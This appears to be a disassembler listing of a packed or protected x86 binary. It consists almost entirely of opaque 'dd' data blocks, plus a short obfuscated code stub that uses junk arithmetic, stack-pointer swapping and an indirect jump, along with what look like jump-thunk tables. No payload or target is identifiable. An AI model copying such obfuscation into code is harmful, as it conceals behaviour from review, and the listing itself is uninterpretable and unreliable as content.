dd 3E129CDEh, 0C649F84Fh, 0DF668537h, 90CCEB8Dh, 0A1023DDFh
dd 0F166h, 4FA01100h, 9130B368h, 6879E03h, 0A2D52A83h
dd 0F18E184Ch, 0CCAF8681h, 0F11C595Ah, 6C4FB442h, 6874C231h
dd 0EC9BCB1Dh, 78311469h, 485A0F5h, 6EC560A3h, 0FB4CF18Eh
dd 0C5F8612Ah, 0F18E6E29h, 0C71FFAEh, 0AE0F7039h, 3A931697h
dd 6E3CB2E5h, 5B61F18Eh, 77A241C4h, 0C22C5FC8h, 15F18E6Eh
dd 0A580D866h, 104D80E9h, 0A5FBAF62h, 0E44195F6h, 0DD0E41AAh
dd 0FE01CCEDh, 0AA95E64Fh, 703B8CF5h, 4BAC0D9Bh, 6230AB60h
dd 0F6E2FD0Dh, 1B02473h, 0C3E60000h, 0AA90F152h, 0F3192F3h
dd 0D6D63798h, 0B27DDE3Fh, 3F4E7CDDh, 16237F8h, 0A40598A0h
dd 46A77C43h, 0E647C0E5h, 0FCF2258Ah, 0DBF7B2F3h, 4BA0EF34h
dd 8E18D618h, 2061EFF1h, 4AC20EC5h, 7DE2701Fh, 1B7CDDB2h
dd 31FACB0Ah, 73A60FAEh, 0F18EAB7Bh, 95FEAD5Ch, 5922D74h
dd 2FBD6EFBh, 74B17DCEh, 237EB11Ah, 0B4FBAF37h, 0A74B8205h
dd 9F7AD37h, 630C4867h, 0E2A10246h, 0CBh, 8281A48Dh, 31147C08h
dd 2156F578h, 0EA99AE9Fh, 74291267h, 667798F1h, 80449C69h
dd 57995588h, 8F3EF18Eh, 1A0B52E0h, 81F18E5Ch, 1D82E3A4h
dd 0FCFD3FCh, 16A4E4C8h, 901394B1h, 3FAFE237h, 90F18EA7h
dd 2AFB53E1h, 9DC0F35Ch, 32FBAF9Ah, 57CE2283h, 781732B1h
dd 88BD0603h, 959E384Ah, 87F09FECh, 0CD19F254h, 4A70D501h
dd 0F108E619h, 18C7F1CCh, 51BA69h, 0A8096A3Fh, 0C7971287h
dd 67E2FD21h, 0A895E4h, 0DBDE0000h, 0A288E94Ah, 7298AEBh
dd 0EECE2F90h, 4A75D637h, 274674D5h, 0F95ACFF0h, 9CFD9098h
dd 3E9F743Bh, 0DE3FC8DDh, 4EA1D82h, 0D3F7B2F5h, 9BA4E72Ch
dd 18D5194Ch, 4BFAF18Eh, 0CBDA3B9Ch, 0A490E142h, 30850881h
dd 0DF339415h, 3EA99246h, 4AF9A87Dh, 4B2AAEE1h, 0F64BFBA9h
dd 0B2EB2BC3h, 6FFDACF7h, 44DBDF44h, 50461A0Fh, 0A04F6C61h
dd 2CFDC81Dh, 0D25B6ACBh, 214E184Fh, 4BFDABC5h, 55D6EF2Ch
dd 0F9B293F4h, 8A1D2176h, 0E807B907h, 0A8119AABh, 31BF5457h
dd 0D5566FD0h, 9DA8F952h, 31F7E0Ch, 0CA000000h, 9DA4095Eh
dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h
dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 688ED75Ah, 2E59h
dd 53242C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push eax
push ecx
mov ecx, 7645078Ch
mov eax, ecx
pop ecx
sub eax, 70203407h
mov ebx, eax
pop eax
push esp
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 1DED2DA3h
pop dword ptr [edx+8]
add dword ptr [edx+8], 1DED2DA3h
push dword ptr [esp]
pop edx
add esp, 4
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5426C5
; ---------------------------------------------------------------------------
db 7Dh, 0Ch, 0EDh
dd 0CE3219B1h, 93B8F385h, 30624DEh, 0AEE0FFC5h, 0C402E7F0h
dd 0AC1F9B47h, 884E82A9h, 82134235h, 680E1A53h, 9C122C17h
dd 16789EEDh, 6674839Bh, 493129DDh, 846789E2h, 2E1ABAF0h
dd 0A455AB6Bh, 596F86A7h, 4074FEFCh, 0D3554E4h, 0C746DFF4h
dd 7A340587h, 60586C54h, 1303FE07h, 0D05BC4Ah, 0E834149Fh
dd 0C03D7DA8h, 941C7F31h, 5D00D8EDh, 1240BF28h, 0F61D2722h
dd 351E6FD9h, 4C63EE6Eh, 4C7CC6F4h, 0E81E27D1h, 0Ah, 0B6DCAF45h
dd 0C9A0FF60h, 0F606FDFh, 880FDBB7h, 5, 2B1DF4B9h, 81586160h
dd 684AC0h, 0BDB96600h, 68ACh, 81660000h, 5FEF41C1h, 381C8BF9h
dd 0BA666051h, 5F537A40h, 0EB815961h, 16F580CCh, 0DE8h
dd 7C89D700h, 4B86572Dh, 7E4880DDh, 8A0F6742h, 2, 815AD78Bh
dd 0F7273AF3h, 9E52BA17h, 0F38127CAh, 236407A0h, 0EE9h
dd 7478B400h, 919A601h, 2CB54C2Ch, 53E77058h, 5880Fh, 81660000h
dd 8F9E90E1h, 0F603804h, 0B961C8B7h, 1901F1F2h, 8001EF83h
dd 4F4F4EDAh, 64FF814Fh, 0FFFFF98h, 0FFFF8085h, 8D8DF9FFh
dd 624E118h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 89C35040h, 0B5D8D89h, 6A061Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 3714EC3h
dd 1F09C995h, 0C585C706h, 0EC061F20h, 6A00006Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 89B5C357h, 1F090995h, 7D85C706h, 61F13h, 89000000h
dd 1F030595h, 41B5FF06h, 6A061F0Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A882C352h
dd 5995FFF7h, 8B061F2Dh, 1F0EBD95h, 0FF006A06h, 1F1D4595h
dd 0EBC08B06h, 62B9635Ah, 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh
dd 5C00DAFAh, 0FD29EA7h, 46ED8BEEh, 7D1FED9Ah, 0F8677EE7h
dd 79A88463h, 4BCF4F11h, 9863EC14h, 0DE89B9C8h, 0AD1DE0BBh
dd 462F880h, 6C29CA1Fh, 0B537F654h, 70EC3325h, 2FF0AE0Bh
dd 0EF489720h, 0D055C73Eh, 905D7291h, 0E9F0BBCEh, 0ABh
dd 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h
dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h
dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h
dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh
dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h
dd 94E7A601h, 3383323Dh, 0E931072Fh, 1298h, 24E43468h
dd 9B4CE906h, 3E68FFFAh, 0E90624E5h, 0FFFA9B42h, 24E64268h
dd 9B38E906h, 0A768FFFAh, 0E90624E7h, 0FFFA9B2Eh, 24E83768h
dd 9B24E906h, 568FFFAh, 0E90624E9h, 0FFFA9B1Ah, 24E99968h
dd 9B10E906h, 2D68FFFAh, 0E90624EAh, 0FFFA9B06h, 24EACF68h
dd 9AFCE906h, 3868FFFAh, 0E90624ECh, 0FFFA9AF2h, 24ED0468h
dd 9AE8E906h, 2468FFFAh, 0E90624EEh, 0FFFA9ADEh, 24EF8368h
dd 9AD4E906h, 6668FFFAh, 0E90624F1h, 0FFFA9ACAh, 24F25F68h
dd 9AC0E906h, 2983FFFAh, 89D61D8h, 0EEBC80F7h, 0D1D89C13h
dd 0B3F3B72Eh, 0D18BD74Eh, 0B027DACCh, 0D148C7ECh, 0EF669B0Dh
dd 0C837C2Bh, 461ECA43h, 0D919AEBFh, 62452EA1h, 46EA1791h
dd 58A700B4h, 0D8BD7AE1h, 0A99EB35Fh, 772B15F0h, 33DF68E5h
dd 25F2A85Bh, 56BDB8EEh, 677A053Dh, 2F039FC3h, 9525F368h
dd 790C816h, 67FAD27Eh, 0D98D25F3h, 0F367653Dh, 2044F825h
dd 7482CF8Ah, 6B3EFE09h, 76D77094h, 64000000h, 42EABC7Ch
dd 0D3A1BE96h, 0F99D511Fh, 0A1FCD480h, 0DB8F1FD3h, 0BED364B7h
dd 80F49945h, 2B6115F0h, 2253D097h, 558EB26Ah, 4BEF1095h
dd 574519B9h, 4D5925F3h, 376E22B4h, 668D18C8h, 872FC140h
dd 169D51E3h, 0E0FE79F9h, 3C72EF4Dh, 6B4BFCAFh, 0CA456987h
dd 0FBBB4414h, 0E0B854ADh, 7325F2DAh, 0C29A46BFh, 5525F2DAh
dd 92E77DA1h, 3B09747Bh, 0C5h, 0FB467CC8h, 58457FE0h, 49B6F3A3h
dd 3BEB0FB7h, 4D01936Ch, 6216A859h, 7428BA45h, 0A555CC33h
dd 1FD34DD8h, 0BF36C9DEh, 0CA357232h, 4EB1F6A6h, 0BFD265BCh
dd 0ADFDBD46h, 0A11AC254h, 0D34E1DF5h, 0D8FCB01Fh, 0F05DC33Ch
dd 2DA45815h, 936B17A0h, 2625F25Ch, 3CFB4E72h, 0FC34E059h
dd 8F1C13CCh, 4A262DBh, 0E4C484FDh, 0BFE38B1Dh, 0DF228448h
dd 66E76F78h, 3554EAFAh, 0FE1h, 0EF669B11h, 0E857A2Bh
dd 2AA1604Ah, 45BC4366h, 65DC2581h, 50565F19h, 3D763AB1h
dd 11975BD2h, 0F2B579F0h, 54CD960Dh, 0AEBDD0A8h, 0B82B6319h
dd 0F69D467Ch, 36FB2459h, 1FDE6F1Ah, 0D5F99D16h, 9808125h
dd 269D6245h, 2B95A2AFh, 0D3A1A77Fh, 0E2863A1Fh, 8118BD69h
dd 4F8515F0h, 0DB83CB2h, 99664339h, 97BB5F07h, 9B18AA5Eh
dd 0A436CBDBh, 683CD8FCh, 0CE25F320h, 0EDAC8F4Fh, 9743Dh
dd 0D5h, 6A42EE77h, 0FD25F32Ch, 7CC22549h, 8315ECBCh, 0A007B7DBh
dd 0C750CD5Fh, 1DE49D91h, 20BC4EB8h, 1FD35348h, 530327DBh
dd 7C1CAE53h, 1FD357AFh, 960DF2B5h, 0A955D5D2h, 1FD357D1h
dd 0FB06A464h, 791DC169h, 0E2A790E7h, 2FFA969h, 40B965DEh
dd 0D515F068h, 0E71DAA21h, 0AC83C2F7h, 0D5284C66h, 79862362h
dd 13D35CD5h, 0AB476B94h, 1C13C948h, 8C841F5h, 28EC639Eh
dd 191C837Eh, 84FA66E8h, 0ED7CFEEh, 0A5070000h, 8421E55Ch
dd 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h, 34AB5650h
dd 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h, 5D19AEBCh
dd 6145B225h, 8EF127A0h, 0CDF3CC3Eh, 9256CDF1h, 0E673EA15h
dd 0B0D9B15Dh, 0AC6C1FD2h, 3F6307FAh, 9D6245DCh, 0AA588E0Bh
dd 77B0AEF7h, 0AC2B2C34h, 0AA4EC20Ch, 0A16AD184h, 799DE09Fh
dd 0AA21DEC9h, 0AB3DC4E6h, 0D84FB0F7h, 9E99BBBAh, 0A83AC7DFh
dd 0EDA77F2Bh, 863A1FD2h, 19C53EE2h, 15EFCD60h, 0EAE41F5h
dd 0D7BFE39h, 16EDC686h, 36DE708Fh, 1C1B6E92h, 7540079h
dd 8413992Ah, 50E73ED0h, 0B518C43Dh, 2219BDA2h, 0E215ED99h
dd 0F4A829BDh, 0DCD797D0h, 360EBA33h, 0C929BDE1h, 38F87115h
dd 22B90E6Fh, 466663Dh, 118119F1h, 9337DB3Ah, 1B5B911Ah
dd 0AD411724h, 0B4E3BB57h, 0C27629BDh, 0D7699812h, 0D0940B2Fh
dd 6AC128D7h, 1FFFCC9Fh, 0DD36A89h, 0A9030000h, 881DE158h
dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch
dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h, 5919AEBBh
dd 6245AE21h, 83B40B9Dh, 0C658A702h, 78017A1Eh, 82BDF642h
dd 1E4285B4h, 0F076F582h, 47BE7215h, 842657E0h, 0B460D97Dh
dd 1C0F810Fh, 0D67608BCh, 2C118102h, 4F648F16h, 0E2862EC0h
dd 0F6099C50h, 7965E064h, 19D956B4h, 2EE2748Dh, 0BFE3877Ah
dd 0D8A19A44h, 1503569Dh, 1DAF5055h, 60A4F75h, 0E43CE610h
dd 5127C0h, 0A2B40000h, 0C7870095h, 0E89022DFh, 5B9F4BC4h
dd 615F0F0h, 8F19D952h, 6F39F972h, 4DDF2286h, 0C76F01A5h
dd 0DB6D9217h, 0E8980F33h, 25F2F016h, 2F767D2Ah, 0F1B52CD0h
dd 976A3EB7h, 27B95D05h, 0CF808h
dd 46F27B00h, 25F2EF6Eh, 0ABE41B8Ah, 0A270D3F7h, 0DB870095h
dd 15F64430h, 0C080F9ADh, 8D9D0CE7h, 0F88409E1h, 44E89C25h
dd 426529A0h, 63D42BBDh, 7E61C2ACh, 57FBA3FDh, 41F55DEh
dd 56EAA286h, 0F848E408h, 7B1C1ADBh, 198E4EC7h, 0ACE26FE6h
dd 1BA96B29h, 96CA9FE4h, 3F04BD70h, 0E0C7779Bh, 1368D1Fh
dd 0DE8A138Ch, 2C1D1A06h, 8C641099h, 1F2C1D19h, 2AA3C76Bh
dd 39F8C97Eh, 3BA25622h, 0E44E1BD6h, 6EDAF98Fh, 9E00000Ch
dd 0B87CF30Eh, 0D79B12EDh, 0F3B72ED3h, 0ED249B6h, 0A6F26998h
dd 44BDE9ECh, 65AA09CDh, 837E2AEEh, 0A05F480Ch, 3BE76029h
dd 19AEBA63h, 594BBEF6h, 1FD3A185h, 0D34C41F6h, 115B144Ah
dd 3039F7D7h, 0D328AC84h, 0E78B3F1Fh, 0CACF27C3h, 0AE6215F5h
dd 0CD327535h, 0DE159256h, 0FDA537CAh, 8A20E059h, 0A1EF6A2h
dd 0FDB125F8h, 9E4AC759h, 25F809C6h, 0DD01A559h, 4E43F44Bh
dd 139C29D5h, 59191C15h, 0A50CB051h, 0FA65FC72h, 0DE3A59EFh
dd 0E00000Bh, 28EC639Eh, 470B827Dh, 63279E63h, 7E42B946h
dd 1662D928h, 0B44D595Ch, 0D53A793Dh, 0F30E9A5Eh, 10EFB87Ch
dd 0AB57D099h, 19AEB9D3h, 45BB2E66h, 570B9D62h, 691DAF50h
dd 7D31C33Ch, 22DDCC29h, 0B244E890h, 33FAE473h, 0D8637B06h
dd 0F094B881h, 6392Ch, 95A2B900h, 76DB8700h, 2315F644h
dd 8416EE9Ah, 0AABC25F8h, 0DC37466Ch, 32580C45h, 0E40E6C42h
dd 0C53EE21Ch, 41B8903Ch, 974B25F8h, 0B171FA73h, 0D1790BF4h
dd 577B8421h, 88FF00A7h, 0E656C5FBh, 0CE3F9124h, 0F7A24A22h
dd 8529DD25h, 9C2ED3D5h, 8720D0F4h, 7246E678h, 0E325F7A2h
dd 0F595BF54h, 5D165F51h, 79440B9h, 841C1544h, 2CAC69D0h
dd 13A9FA65h, 0B10F4h, 956C4000h, 0B44B5A1Eh, 0D031793Dh
dd 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh, 0C88C030Ch
dd 0E6AA21E0h, 0FEC73EC1h, 0B901D985h, 5C9419AEh, 9D6245E9h
dd 0AF50570Bh, 7D61EC1Dh, 94B8FBBEh, 57C12F0h, 0C9890000h
dd 99FC20E1h, 0D3A18559h, 0A310D01Fh, 8232DA6Ch, 63B6DA25h
dd 9C48C1D4h, 15F64477h, 37F77024h, 0F26B8F70h, 138A7532h
dd 7951FD86h, 0C25F883h, 23843458h, 44F34ADCh, 9F2CD851h
dd 1C1C158Dh, 66320168h, 0A137FA65h, 0A7C82h, 100AC00h
dd 20DFC68Ah, 3CC5E5A9h, 57A801C5h, 778A1CE0h, 0F3FAB400h
dd 13D74EB3h, 34F86FA0h, 52168D74h, 6A33AA55h, 0B86D45F1h
dd 0C80019AEh, 47F37C55h, 1FD3A16Fh, 7A2A4E02h, 8C40D22Dh
dd 2152E41Bh, 0A6F34896h, 47F094B8h, 4DEh, 0F42188BEh
dd 0E39C2459h, 0D3C55F37h, 9A3EF21Fh, 1C40BFEAh, 95A2B9h
dd 43E5DB87h, 0C47815F6h, 0E31C8B4Bh, 0FFA86Ch, 83FACE6Eh
dd 0CC6B25F8h, 17A450C9h, 941C158Eh, 66A079E0h, 0FA5FA65h
dd 9E8F0h, 6D941800h, 8C7332F6h, 0A8595115h, 0C33C6D31h
dd 0E31E884Ch, 5F66206Ch, 7F43BA47h, 0A064DB34h, 0BE82F908h
dd 0D69F16E9h, 0B7D9B15Dh, 346C19AEh, 9D6245C1h, 0AF50570Bh
dd 2901AD36h, 0BC1FD3A2h, 2152E408h, 0A6F34896h, 47F094B8h
dd 44Ah, 0A18059D4h, 3CFB1FD3h, 1BE6C484h, 6D45E189h, 1FD3A1h
dd 832FA84Ch, 15F64470h, 10D049FDh, 0B9EF6897h, 0BF8775F3h
dd 0A2193D86h, 0A436C9DEh, 2EA7EA4Dh, 14D35D82h, 5C4A0A1Ch
dd 0A51D0923h, 4A8C194h, 0BF26CA72h, 0FA65B764h, 462C4BE1h
dd 76000009h, 9054CB36h, 0AF73EA15h, 0CB8F06FBh, 0E6AA21DEh
dd 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h, 5BA602C6h, 788720E4h
dd 13BF3801h, 19AEB73Bh, 7C2396CEh, 0E0E61446h, 0CAEE1FCCh
dd 0F9728D1Ah, 82ECC470h, 0CE921FD3h, 0A994AFFh, 42ADE17h
dd 0F7BA3ABEh, 3FD1F53Dh, 51E31C8Bh, 958C52CDh, 0CC76ED12h
dd 0F094BD8Dh, 0D9288040h, 1411CB5h, 45A90000h, 570B9D62h
dd 0AB38AF50h, 0C6D4B475h, 193D323Fh, 961071C6h, 16BA475Fh
dd 0B070F972h, 4AE60AF5h, 15EFAF35h, 0B58D39C2h, 4825F1AEh
dd 0B777F094h, 0D57D0FF0h, 0AB7F1FB1h, 1125F1AEh, 0AAEF4C92h
dd 4309754Bh, 20h, 95A2D0h, 8136DB87h, 2FE315F0h, 0C229FD9Dh
dd 108F25F2h, 5C2C6DCEh, 0CAC10974h, 4E000000h, 0B9D6245h
dd 20B24F57h, 32C43B6Ch, 5501297Eh, 1FD3A17Dh, 3DB8710h
dd 961FD3A2h, 219A3EE2h, 5C01AEBh, 0D3228159h, 3A60141Fh
dd 0A8CCB5AEh, 83A48131h, 0DDCA1FD3h, 0F344AB22h, 9479259Eh
dd 4115F530h, 62116E0Bh, 842CBE51h, 848C665Eh, 0FFA767E0h
dd 33A9812Dh, 883C25F5h, 0FAAA52E4h, 1BC355ACh, 0E8BE7EF7h
dd 0D3E0A019h, 14A1183Ch, 1BAD5454h, 79F4F73h, 0BD426525h
dd 0F5334921h, 8428DC25h, 71C881Dh, 809F35F0h, 7DDh, 0EB629F0Dh
dd 0A817E27h, 269D6446h, 41B84762h, 61D8297Dh, 54525B15h
dd 417236ADh, 159357CEh, 0F6B175ECh, 50C99209h, 0AEB5CCA4h
dd 0B4275F19h, 29A06145h, 46BD4265h, 9D6245CFh, 0AF50570Bh
dd 2480938h, 0A2920000h, 0DB870095h, 15F08E7Eh, 0EE6921Bh
dd 6125F2CEh, 0F2CDDDB5h, 83BC7025h, 0F9992BCFh, 25F2CE25h
dd 5A4E0E8Bh, 496D15A7h, 6E2B10CEh, 7F097468h, 1F5h, 0EDBC7C0Ch
dd 0B4D88012h, 0D3A14118h, 0A7BBC1Fh, 44BD61A0h, 0F6447B98h
dd 0EB641815h, 0C837C2Bh, 0EA05F48h, 940D80B7h, 0FED6820Bh
dd 1A25F883h, 883C758Ch, 838B630Fh, 6A1E25F8h, 8D85AA46h
dd 7E321C15h, 6567A017h, 708F25FAh, 711h, 1F966B41h, 3EB54A5Bh
dd 5AD1307Ah, 75EC1396h, 950CF5B1h, 20868F49h, 0DA66AE1h
dd 0E1C78B02h, 0C2E5A920h, 84FDC63Dh, 0AEB500D8h, 0E85B9319h
dd 4373467Ch, 7C567C07h, 0FFA858h, 12EDBA6Eh, 8C641099h
dd 1F1FD38Ah, 31B5476Bh, 0AEF928B6h, 6930DA51h, 84F094ABh
dd 149h, 956A3BFBh, 62450E71h, 50570B9Dh, 66D138AFh, 0E9FEAA23h
dd 7615F0A9h, 0F3B330C2h, 15BD4FC0h, 0A918F09Ch, 0F7AB25F2h
dd 0A86337D3h, 4AC925F2h, 41D2A794h, 20FB0974h, 88000000h
dd 870095A2h, 0F08136DBh, 9D2FE315h, 0F2C229FDh, 0CE108F25h
dd 745C2C6Dh, 0CFC109h, 7C4E0000h, 916EE546h, 698D6F8Fh
dd 7F11EEB9h, 0C851DBCBh, 0D372441Ch, 8723D71Fh, 1FD372AFh
dd 58EA8E42h, 0EEF9A5DBh, 0F1A27A26h, 81351FD2h, 0FE00FE5Bh
dd 827D2ADAh, 946B3CF0h, 0D3C06D1Dh, 0E1C61FD3h, 0F740A71Eh
dd 886D1992h, 3515F540h, 5E480881h, 0DF9F2CA3h, 1A93BD4h
dd 88792DDDh, 753A021h, 708F25F0h, 5F1h, 0FF768B21h, 1E956A3Bh
dd 3AB1505Ah, 55CC3376h, 75EC1591h, 40666F29h, 2D864AC1h
dd 1A76BE2h, 0E2C58900h, 64DDA61Dh, 0AEB3E0B8h, 0C83B7319h
dd 921E6145h, 0F96B162Dh, 1E54CD71h, 1428FA8Ch, 8600261Ah
dd 0A1CE220h, 3BFF769Ah, 4557116Ch, 258DA3D3h, 46EE8081h
dd 4F85FEA2h, 8EA9FAADh, 138AAE1Eh, 9D62459Ch, 1B588E0Bh
dd 86EA1F42h, 693EEE12h, 6DE71D96h, 42BB091Dh, 77A61D41h
dd 1Eh, 9D624500h, 0AF50570Bh, 5A84131Dh, 9613E0C7h, 8323D769h
dd 0BF36DA7Eh, 2C90h, 62451900h, 57E91691h, 0D12E89AFh
dd 0D773D54Ch, 6424A133h, 847C3D42h, 0F7B1F1FEh, 0F519C153h
dd 0D31C8459h, 30AE291Fh, 0D249B6F1h, 0F7BC7C5Bh, 6344F418h
dd 0A1431BC7h, 22D61FD3h, 0A295EC7Eh, 1FCA76EFh, 9C15F644h
dd 5A3FDE66h, 61054BE7h, 807F28E8h, 9D624509h
dd 283B40Bh, 0A45B4EA5h, 0A0C66E00h, 5A96AC12h, 43BC6074h
dd 1B0D4797h, 9D16CA1Ch, 0A436CBDDh, 0D65FD8FCh, 2BC88FA0h
dd 1F436C05h, 4EC7386Fh, 6DE6198Eh, 1D50E9C1h, 0A4C87C2Ch
dd 0C13E692Dh, 2A5FD82Fh, 305005B1h, 54DD223Ah, 3C70D0A8h
dd 9A737632h, 0B8DC4007h, 0C027CB7Fh, 0E44EE9CFh, 920524BAh
dd 0C2000004h, 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h
dd 0CA168D74h, 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h
dd 5F0B844Dh, 19AEB287h, 7C6FE21Ah, 8416E9BCh, 9729D8D0h
dd 77274BEFh, 9656CF30h, 55CCF00Fh, 57E91691h, 0CDA551DAh
dd 601FD3A1h, 0CFD888ACh, 0DA7E8124h, 0FC05A161h, 0C9EC26Ah
dd 1EB04F58h, 30C23D6Ah, 6EBF1F9Eh, 0B66B73EEh, 0ED970EF1h
dd 0F094BCACh, 2941h, 0BC7CCE00h, 0A1F418F7h, 0CE7AF396h
dd 15F0F08Ah, 48088135h, 7A2AA160h, 25F2EFA8h, 9D14EBBCh
dd 0A032CFD9h, 3EC81h, 62450A00h, 4F64249Dh, 62862EC0h
dd 1ECA53D0h, 1FD3A146h, 510125D9h, 0CB32A956h, 27B0296Ch
dd 0D3A1A37Bh, 2F76361Fh, 8F082CD0h, 0F0A9CEE3h, 15A75B15h
dd 0F2A8A175h, 56880725h, 744194E5h, 4C3909h, 0A2C60000h
dd 43B2F495h, 650D9F70h, 0E3872FC1h, 8119BE6Ah, 12C615F0h
dd 34CDD999h, 48B7EEA2h, 466A0EB6h, 0C14014B4h, 535425F2h
dd 83F01AACh, 6201C76Eh, 22DFC777h, 33CEDC90h, 0BA736BF6h
dd 3A01DD5Ch, 974857Fh, 1088Eh, 62451B00h, 27EE249Dh, 4E13233Ch
dd 0EE6BFD21h, 28E76B8h, 8C1E1952h, 0C01D28EBh, 0A7577B1Fh
dd 0BC7002FFh, 0CE8214EBh, 748B1AD9h, 0DCA959D0h, 191FD2BEh
dd 8FB34C59h, 0C037C8DFh, 0C254ABFCh, 0DE238545h, 0BDD067BAh
dd 0D36F9844h, 24E415EFh, 5FD67A85h, 6C3E3FF8h, 345FA613h
dd 8226C7D4h, 0DEB965DEh, 3B1C135Ah, 0B785BB05h, 37E3C1A0h
dd 2C13105Fh, 769A3EF2h, 5010893Dh, 49A0D656h, 0F719F105h
dd 0EB6F47E3h, 1A8B2C12h, 72AB53E5h, 690DF4B2h, 0F2164CC5h
dd 812986DBh, 7034ABCFh, 0D964CB36h, 54FA1977h, 2AF9FBEh
dd 0CDDF0000h, 0ACF9BD34h, 9218DC53h, 7534F86Fh, 574F138Ah
dd 2DE733AAh, 0C837E28h, 2DA46B48h, 4BC23F69h, 68DF2087h
dd 0A27A269Fh, 3519AEB0h, 0BC7C8AFDh, 0DE8618F7h, 659C0ABAh
dd 827D2AEEh, 0FCD48009h, 8F1FD3A1h, 0B340B7DBh, 0CC72437Dh
dd 0D36F4820h, 127DB1Fh, 4D71758Bh, 95A2EAh, 8136DB87h
dd 2FE315F0h, 0C229FD9Dh, 108F25F2h, 0E0CA8ACEh, 1267FD21h
dd 0BB09745Ch, 0CEh, 9D624548h, 0B24F570Bh, 0A5B38020h
dd 0EEB91FD3h, 0D1D69A11h, 0F2459C2Eh, 2D8F94CAh, 48E7480Bh
dd 0D3E9D4ACh, 32DE671Fh, 1FD3E95Ah, 0F19539EDh, 0FEA3CC78h
dd 641815F0h, 867B2BEBh, 0B384EB62h, 79B965DEh, 0DC1C146Bh
dd 0E3758C1Ch, 55DE173Bh, 14AAD1A9h, 0CB0642Ch, 22D3D393h
dd 44EC7E91h, 49ED1494h, 0E7980ED2h, 0E92CAF0Eh, 0E047EBD8h
dd 0FA67D643h, 0B61130C6h, 0E6000001h, 0C43BC6h, 1FE35AA5h
dd 3BFF768Bh, 561A916Eh, 0EE3AB150h, 8C753134h, 0AD625115h
dd 0CB367236h, 0E8179054h, 832FA871h, 19AEAFABh, 7C93063Eh
dd 8012EDBCh, 0E9C2B2D8h, 0A58EA78Eh, 2CD5D181h, 4FC0F3B3h
dd 0B7F0B42Bh, 8444D148h, 0A048DA25h, 6245197Ch, 5AEC1591h
dd 59A802B2h, 386F23B5h, 19C54EC7h, 1FD3A141h, 397020D4h
dd 672BA2C6h, 0D62DBF40h, 7B32C61h, 15F08B66h, 33C5570Bh
dd 0B0F72AB4h, 0C671D84Fh, 559E4AC3h, 8A1C0FD2h, 24DBCAh
dd 0CD8113C7h, 23AC25DAh, 11D19F77h, 5A7E322Ch, 6D9414C8h
dd 808127DBh, 0F9646EEh, 0AE40CFE4h, 4CD06206h, 1A200DD1h
dd 0C2B538Bh, 1B641089h, 50222ED8h, 0D6431BC7h, 22D63230h
dd 9A11C5FEh, 9C2ED1D6h, 0AF41C0E8h, 18409E1Dh, 0D70BE38Fh
dd 0DE9E3230h, 0A83AD5h, 1F88385Ch, 32DE67E0h, 3230D65Ah
dd 3ED02F76h, 85A95D96h, 0FD90A70Eh, 0C137D884h, 28DC284Dh
dd 3AC5E296h, 0B48C38C1h, 0D0385001h, 0EC9426D9h, 49DBFFB3h
dd 0D8A638B7h, 5B12A5Fh, 2E6CEC64h, 77DE5509h, 1CE5C1C0h
dd 0A053FF78h, 2D3491CEh, 30CA0079h, 0A5C62C38h, 0D14EE004h
dd 0DC93C89Bh, 0FEA638D7h, 0D2AAC8D8h, 4AA9FEAEh, 0E610A25Dh
dd 0E5C9BAADh, 0CF73179Dh, 0EC139458h, 8C1DDD5Ah, 7B2DE173h
dd 22BEE286h, 0EBB81D00h, 928F4FDEh, 3B71EA15h, 84E31A07h
dd 9910343Bh, 0FFD7830Ch, 927BB826h, 9D0ABADEh, 5A35256h
dd 1EC658FCh, 7534E87Ah, 0E766F88Ah, 827D2AF7h, 9F60470Bh
dd 3EE0Dh, 0A7770000h, 9A674540h, 0AC535408h, 0BF42661Ah
dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh
dd 34CBDA8Eh, 296886A2h, 89000026h, 0EC81240Ch, 4, 68240C89h
dd 136Bh, 52243C89h, 3A0AB951h, 0E9815039h, 6F5677AEh
dd 16B6C181h, 0F1810E3Ch, 0C2875D4h, 5AE8E981h, 0C1817752h
dd 352F2232h, 4E45E981h, 0CA894D5Bh, 81424259h, 0C53619CAh
dd 0E5C28112h, 89B227AAh, 8B545AD1h, 0C483243Ch, 0CA895204h
dd 8478F52h, 2434FF5Ah, 4C4815Fh, 0FF000000h, 81592434h
dd 4C4h, 88C8E900h, 0C10FFFFAh, 452290E1h, 72B2DFB6h, 24F43AB8h
